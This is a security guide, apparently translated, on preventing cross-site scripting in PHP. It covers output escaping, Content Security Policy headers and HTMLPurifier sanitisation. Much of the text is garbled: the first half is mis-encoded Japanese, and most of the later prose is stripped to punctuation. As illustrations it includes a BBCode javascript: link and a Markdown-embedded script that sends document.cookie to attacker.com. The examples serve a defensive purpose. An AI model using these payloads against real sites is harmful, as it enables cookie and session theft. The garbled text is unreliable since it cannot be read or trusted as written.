ããŒã¿ãHTMLæ¬æã«åã蟌ãåã«ãåžžã«HTMLããšã¹ã±ãŒãããŸã
HTMLæ¬æã³ã³ããã¹ãã¯ãã¿ã°ã§å²ãŸããããã¹ãã³ã³ãã³ããæããŸãã ããšãã°ãããã¹ããæ ŒçŽããããã®<body>
ã <div>
ã¿ã°ããŸãã¯ãã®ä»ã®ãã¢ã®ã¿ã°éã®ããã¹ãã ã¿ã°ã®ã³ã³ãã³ãã«åã蟌ãŸããããŒã¿ã¯ãHTMLãšã¹ã±ãŒãããå¿
èŠããããŸãã
HTMLãšã¹ã±ãŒãã¯ãPHPã§htmlspecialcharsïŒïŒé¢æ°ãšããŠããç¥ãããŠããŸãã
ã³ã³ããã¹ãã«ããŒã¿ãåã蟌ãåã«ãåžžã«HTMLå±æ§ããšã¹ã±ãŒãããŸã
HTMLå±æ§ã®ã³ã³ããã¹ãã¯ããã©ãŠã¶ã«ãã£ãŠCDATAãšããŠè§£éãããããããã£ãé€ããèŠçŽ ã®ãã¹ãŠã®å€ãåç
§ããŸãã ãã®äŸå€ã¯ããçŽããããã§ãããã»ãšãã©ã®å ŽåãéXMLããŒã¹ã®HTMLæšæºãåç
§ããŸãããã®æšæºã§ã¯ãJavaScriptãéã¹ã¯ãªãŒãã³ã°åœ¢åŒã§ã€ãã³ãã®å±æ§ã«å«ããããšãã§ããŸãã ä»ã®ãã¹ãŠã®å±æ§ã«ã¯ã次ã®2ã€ã®ãªãã·ã§ã³ããããŸãã
- å±æ§å€ãåŒçšç¬Šã§å²ãŸããŠããå ŽåãHTMLãšã¹ã±ãŒãã䜿çšã§ããŸãã
- ãã ããå€ãåŒçšç¬Šãªãã§æå®ãããŠããå Žåã¯ããšã¹ã±ãŒãHTMLå±æ§ã䜿çšããå¿
èŠããããŸãã
ãŸãã2çªç®ã®ãªãã·ã§ã³ã¯ãå±æ§ããã£ã¹ãããããã®ã«ãŒã«ãäžæ確ãªå Žåã«é©çšãããŸãã ããšãã°ãHTML5ã§ã¯ãåŒçšç¬Šãªãã§å±æ§å€ã䜿çšããããšã¯éåžžã«åãå
¥ãããããšèããããŠãããå®éã®ãããžã§ã¯ãã§ã¯ãã®ãããªãã¹ããŒããªãã¢ãããŒãã®å€ãã®äŸããã§ã«ãããŸãã ç解ã§ããªãç¶æ³ã§ã¯ã泚æããŠé²ããŠãã ããã
ããŒã¿å€ã«åã蟌ãåã«åžžã«JavaScriptããšã¹ã±ãŒããã
JavaScriptããŒã¿å€ã¯ãã»ãšãã©ãæååå€ã§ãã æ°åããšã¹ã±ãŒãããããšã¯ã§ããªããããè¿œå ã®ã«ãŒã«ããããŸããåžžã«æ°åã®æå¹æ§ã確èªããŠãã ãã...
ã³ã³ãã³ãä¿è·ããªã·ãŒ
ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ã«é¢ãããã¹ãŠã®éèŠãªèŠçŽ ã¯ãã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã®ãœãŒã¹ã«é¢ä¿ãªãããã©ãŠã¶ããµãŒããŒããåãåã£ããã¹ãŠã®JavaScriptã³ãŒããåé¡ãªãå®è¡ããããšã§ãã HTMLããã¥ã¡ã³ããåä¿¡ãããšããã©ãŠã¶ã¯ã©ã®åã蟌ã¿ãªãœãŒã¹ãå®å
šã§ãã©ã®ãªãœãŒã¹ãå®å
šã§ãªãããèŠã€ããããšãã§ããŸããã ãããŠããããå€æŽã§ãããšãããïŒ
ã³ã³ãã³ãä¿è·ããªã·ãŒïŒCSPïŒã¯ããã©ãŠã¶ãŒãä¿¡é Œã§ããä¿¡é Œã§ãããªãœãŒã¹ãœãŒã¹ã®ãã¯ã€ããªã¹ããæž¡ãHTTPããããŒã§ãã èš±å¯ãªã¹ãã«ãªã¹ããããŠããªããœãŒã¹ã¯ãä¿¡é Œã§ããªããšèŠãªãããåã«ç¡èŠãããŸãã 以äžãèæ
®ããŠãã ããã
X-Content-Security-Policy: script-src 'self'
ãã®CSPããããŒã¯ãçŸåšã®ãã¡ã€ã³ãæãJavaScriptãœãŒã¹ã¢ãã¬ã¹ã®ã¿ãä¿¡é Œãããããã©ãŠã¶ã«æ瀺ããŸãã ãã©ãŠã¶ããã®ãœãŒã¹ããã¹ã¯ãªãããããŒãããåŸãä»ã®ãã¹ãŠãå®å
šã«ç¡èŠããŸãã ã€ãŸãã http://attacker.com/naughty.jsã¯ãæ»æè
ããªããšãããŠãããå®è£
ããããšãããšããŒããããŸããã ããã«ãã¿ã°ãªã©ã®ãã¹ãŠã®çµã¿èŸŒã¿ã¹ã¯ãªãã
ãœãŒã¹ã¢ãã¬ã¹ä»¥å€ã®ãœãŒã¹ããJavaScriptã䜿çšããå¿
èŠãããå Žåã¯ããã¯ã€ããªã¹ãã«å«ããããšãã§ããŸãã ããšãã°ãjQuery CDNã¢ãã¬ã¹ãè¿œå ããŸãããã
X-Content-Security-Policy: script-src 'self' http://code.jquery.com
CSSã¹ã¿ã€ã«ã·ãŒããžã®ãã¹ãªã©ãä»ã®ãªãœãŒã¹ãã£ã¬ã¯ãã£ããè¿œå ããŠããã£ã¬ã¯ãã£ããšèš±å¯ã¢ãã¬ã¹ãã»ãã³ãã³ã§åºåãããšãã§ããŸãã
X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'
ããããŒå€ã®åœ¢åŒã¯éåžžã«åçŽã§ãã å€ã¯ãscript-srcãã£ã¬ã¯ãã£ããšãããã«ç¶ããã¯ã€ããªã¹ããšããŠäœ¿çšãããã¹ããŒã¹åºåãã®ãœãŒã¹ã®ãªã¹ãã§æ§æãããŸãã ãœãŒã¹ã¯ã 'self'ãªã©ã®åŒçšç¬Šã§å²ãŸããããŒã¯ãŒãããŸãã¯URLã§ãã URLå€ã¯ãçµæã®ãªã¹ãã«ãããã³ã°ãããŸãã URLã«ãªãæ
å ±ã¯ãHTMLããã¥ã¡ã³ãã§èªç±ã«å€æŽã§ããŸãã ã泚æ http://code.jquery.com㯠ãã¹ã¯ãªããã®ããŠã³ããŒããçŠæ¢ããŸã http://jquery.comãŸã㯠http://domainx.jquery.com ãèš±å¯ããããã¡ã€ã³ãæ瀺çã«èšå®ããããã ãã¹ãŠã®ãµããã¡ã€ã³ãèš±å¯ããã«ã¯ãåã«æå®ããããšãã§ããŸã http://jquery.com åãããšãããŒã«ã«ãã¹ãããŒããURLã¹ããŒã ãªã©ã«ãåœãŠã¯ãŸããŸãã
CSPãã¯ã€ããªã¹ãã®æ¬è³ªã¯ç°¡åã§ãã ç¹å®ã®ã¿ã€ãã®ãªãœãŒã¹ã®ãªã¹ããäœæããå Žåããããå
¥åããªããã®ã¯ãã¹ãŠããŒããããŸããã ãªãœãŒã¹ã¿ã€ãã®ãªã¹ããå®çŸ©ããªãå Žåããã©ãŠã¶ã¯ããã©ã«ãã§ãã®ã¿ã€ãã®ãã¹ãŠã®ãªãœãŒã¹ãç Žæ£ããŸãã
次ã®ãªãœãŒã¹ãã£ã¬ã¯ãã£ãããµããŒããããŠããŸãã
- connect-srcïŒ xmlhttprequestãWebãœã±ãããªã©ã䜿çšããŠæ¥ç¶ã§ãããœãŒã¹ãå¶éããŸãã
- font-srcïŒ Webãã©ã³ãã®ãœãŒã¹ãå¶éããŸãã
- frame-srcïŒãã¬ãŒã ã®URLãå¶éããŸãã
- img-srcïŒç»åãœãŒã¹ãå¶éããŸãã
- media-srcïŒãããªããã³ãªãŒãã£ãªãœãŒã¹ãå¶éããŸãã
- object-srcïŒ Flashããã³ãã®ä»ã®ãã©ã°ã€ã³ã®ãœãŒã¹ãå¶éããŸãã
- script-srcïŒã¹ã¯ãªãããã¡ã€ã«ã®ãœãŒã¹ãå¶éããŸãã
- style-srcïŒ CSSã®ãœãŒã¹ãå¶éããŸãã
å®å
šãªæšæºãã©ã¡ãŒã¿ãèšå®ããããã«ãç¹å¥ãªãã£ã¬ã¯ãã£ãdefault-srcããããŸããããã䜿çšããŠããªã¹ãããããã¹ãŠã®ã«ããŽãªãžã®ãªã³ã¯ãæåã«ãã¯ã€ããªã¹ãã«è¿œå ã§ããŸãã
X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery.com
ããã«ãããèš±å¯ããããªãœãŒã¹ã¯çŸåšã®ãã¡ã€ã³ã«å¶éãããŸãããjQueryã¹ã¯ãªããã®äŸå€ãè¿œå ãããŸãã , .
URL, , :
'none' 'self' 'unsafe-inline' 'unsafe-eval'
unsafe, . . «»? CSP â , . inline- ? inline-, - inline- . addEventListener() . , , ? . . 'unsafe-inline' CSP.
'none' «». , . , - , CSP , :
X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
. CSP â , X-Content-Security-Policy, , WebKit-, Safari Chrome. WebKit .
X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self' X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
HTML
- - HTML- - . : , , RSS Atom. , , , , .
, HTML- « », « »? - HTML- , BBCode, Markdown Textile. PHP â , XSS-. . â , HTML. HTML, SGML-. HTML â .
HTML . , â . HTML - « ». . , HTML.
:
[url=javascript:alert('I can haz Cookie?n'+document.cookie)]Free Bitcoins Here![/url]
BB- HTML , . , HTTP URL' . Markdown:
I am a Markdown paragraph.<script>document.write('<iframe src=âhttp://attacker.com?cookie=' + document.cookie.escape() + 'â height=0 width=0 />');</script> There's no need to panic. I swear I am just plain text!
Markdown â HTML, HTML Markdown. , Markdown XSS-.
, HTML , , . . , .
HTML â , , . , , PHP , , . «» , .
PHP, HTML, â HTMLPurifier. , , . HTMLPurifier , , :
// Basic setup without a cache $config = HTMLPurifier_Config::createDefault(); $config->set('Core', 'Encoding', 'UTF-8'); $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); // Create the whitelist $config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links $sanitiser = new HTMLPurifier($config); $output = $sanitiser->purify($untrustedHtml);
HTML-, , .
[ ]